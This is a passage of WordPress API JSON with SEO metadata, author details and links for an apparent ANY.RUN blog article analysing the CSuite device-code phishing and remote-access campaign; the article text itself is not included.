it.\",\"publisher\":{\"@id\":\"https:\\\/\\\/any.run\\\/\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/any.run\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/any.run\\\/\",\"name\":\"ANY.RUN\",\"url\":\"https:\\\/\\\/any.run\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/any.run\\\/\",\"url\":\"https:\\\/\\\/any.run\\\/cybersecurity-blog\\\/wp-content\\\/uploads\\\/2020\\\/08\\\/ANYRUN-Icon.svg\",\"contentUrl\":\"https:\\\/\\\/any.run\\\/cybersecurity-blog\\\/wp-content\\\/uploads\\\/2020\\\/08\\\/ANYRUN-Icon.svg\",\"width\":1,\"height\":1,\"caption\":\"ANY.RUN\"},\"image\":{\"@id\":\"https:\\\/\\\/any.run\\\/\"},\"sameAs\":[\"https:\\\/\\\/www.facebook.com\\\/www.any.run\\\/\",\"https:\\\/\\\/x.com\\\/anyrun_app\",\"https:\\\/\\\/www.linkedin.com\\\/company\\\/30692044\",\"https:\\\/\\\/www.youtube.com\\\/channel\\\/UCOgCPho7lzmH7m6fPNlukrQ\"]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/any.run\\\/\",\"name\":\"ShiFu\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/any.run\\\/cybersecurity-blog\\\/wp-content\\\/uploads\\\/2026\\\/07\\\/image-17.png\",\"url\":\"https:\\\/\\\/any.run\\\/cybersecurity-blog\\\/wp-content\\\/uploads\\\/2026\\\/07\\\/image-17.png\",\"contentUrl\":\"https:\\\/\\\/any.run\\\/cybersecurity-blog\\\/wp-content\\\/uploads\\\/2026\\\/07\\\/image-17.png\",\"caption\":\"ShiFu\"},\"description\":\"I'm a Threat Intelligence Analyst focused on tracking cybercriminal groups and other malicious activity clusters. I previously worked as an Application Security Engineer and have a background in CTF competitions, with experience in offensive security, malware analysis, and application security.\",\"url\":\"#molongui-disabled-link\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"CSuite Hits US and EU: Phishing and M365 Session Theft","description":"ANY.RUN researchers analyze the CSuite campaign targeting US and Europe through device-code phishing and RMM abuse","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/any.run\/cybersecurity-blog\/csuite-attack-analysis\/","twitter_misc":{"Written by":"ShiFu","Est. reading time":"33 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/any.run\/cybersecurity-blog\/csuite-attack-analysis\/#article","isPartOf":{"@id":"https:\/\/any.run\/cybersecurity-blog\/csuite-attack-analysis\/"},"author":{"name":"ShiFu","@id":"https:\/\/any.run\/"},"headline":"CSuite Targets US and EU Organizations with Device-Code Phishing and Remote Access","datePublished":"2026-09-22T11:16:00+00:00","dateModified":"2026-09-22T11:24:24+00:00","mainEntityOfPage":{"@id":"https:\/\/any.run\/cybersecurity-blog\/csuite-attack-analysis\/"},"wordCount":5673,"commentCount":0,"publisher":{"@id":"https:\/\/any.run\/"},"image":{"@id":"https:\/\/any.run\/cybersecurity-blog\/csuite-attack-analysis\/#primaryimage"},"thumbnailUrl":"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-scaled.png","keywords":["ANYRUN","cybersecurity","malware analysis"],"articleSection":["Malware Analysis"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/any.run\/cybersecurity-blog\/csuite-attack-analysis\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/any.run\/cybersecurity-blog\/csuite-attack-analysis\/","url":"https:\/\/any.run\/cybersecurity-blog\/csuite-attack-analysis\/","name":"CSuite Hits US and EU: Phishing and M365 Session Theft","isPartOf":{"@id":"https:\/\/any.run\/"},"primaryImageOfPage":{"@id":"https:\/\/any.run\/cybersecurity-blog\/csuite-attack-analysis\/#primaryimage"},"image":{"@id":"https:\/\/any.run\/cybersecurity-blog\/csuite-attack-analysis\/#primaryimage"},"thumbnailUrl":"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-scaled.png","datePublished":"2026-09-22T11:16:00+00:00","dateModified":"2026-09-22T11:24:24+00:00","description":"ANY.RUN researchers analyze the CSuite campaign targeting US and Europe through device-code phishing and RMM abuse","breadcrumb":{"@id":"https:\/\/any.run\/cybersecurity-blog\/csuite-attack-analysis\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/any.run\/cybersecurity-blog\/csuite-attack-analysis\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/any.run\/cybersecurity-blog\/csuite-attack-analysis\/#primaryimage","url":"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-scaled.png","contentUrl":"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/CSuite-scaled.png","width":2560,"height":1243,"caption":"CSuite hits US and EU"},{"@type":"BreadcrumbList","@id":"https:\/\/any.run\/cybersecurity-blog\/csuite-attack-analysis\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/any.run\/cybersecurity-blog\/"},{"@type":"ListItem","position":2,"name":"Malware Analysis","item":"https:\/\/any.run\/cybersecurity-blog\/category\/malware-analysis\/"},{"@type":"ListItem","position":3,"name":"CSuite Targets US and EU Organizations with Device-Code Phishing and Remote Access"}]},{"@type":"WebSite","@id":"https:\/\/any.run\/","url":"https:\/\/any.run\/","name":"ANY.RUN&#039;s Cybersecurity Blog","description":"Cybersecurity Blog covers topics for experienced professionals as well as for those new to it.","publisher":{"@id":"https:\/\/any.run\/"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/any.run\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/any.run\/","name":"ANY.RUN","url":"https:\/\/any.run\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/any.run\/","url":"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2020\/08\/ANYRUN-Icon.svg","contentUrl":"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2020\/08\/ANYRUN-Icon.svg","width":1,"height":1,"caption":"ANY.RUN"},"image":{"@id":"https:\/\/any.run\/"},"sameAs":["https:\/\/www.facebook.com\/www.any.run\/","https:\/\/x.com\/anyrun_app","https:\/\/www.linkedin.com\/company\/30692044","https:\/\/www.youtube.com\/channel\/UCOgCPho7lzmH7m6fPNlukrQ"]},{"@type":"Person","@id":"https:\/\/any.run\/","name":"ShiFu","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/07\/image-17.png","url":"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/07\/image-17.png","contentUrl":"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/07\/image-17.png","caption":"ShiFu"},"description":"I'm a Threat Intelligence Analyst focused on tracking cybercriminal groups and other malicious activity clusters. I previously worked as an Application Security Engineer and have a background in CTF competitions, with experience in offensive security, malware analysis, and application security.","url":"#molongui-disabled-link"}]}},"_links":{"self":[{"href":"https:\/\/any.run\/cybersecurity-blog\/wp-json\/wp\/v2\/posts\/23219","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/any.run\/cybersecurity-blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/any.run\/cybersecurity-blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/any.run\/cybersecurity-blog\/wp-json\/wp\/v2\/users\/12"}],"replies":[{"embeddable":true,"href":"https:\/\/any.run\/cybersecurity-blog\/wp-json\/wp\/v2\/comments?post=23219"}],"version-history":[{"count":29,"href":"https:\/\/any.run\/cybersecurity-blog\/wp-json\/wp\/v2\/posts\/23219\/revisions"}],"predecessor-version":[{"id":23294,"href":"https:\/\/any.run\/cybersecurity-blog\/wp-json\/wp\/v2\/posts\/23219\/revisions\/23294"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/any.run\/cybersecurity-blog\/wp-json\/wp\/v2\/media\/23280"}],"wp:attachment":[{"href":"https:\/\/any.run\/cybersecurity-blog\/wp-json\/wp\/v2\/media?parent=23219"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/any.run\/cybersecurity-blog\/wp-json\/wp\/v2\/categories?post=23219"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/any.run\/cybersecurity-blog\/wp-json\/wp\/v2\/tags?post=23219"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}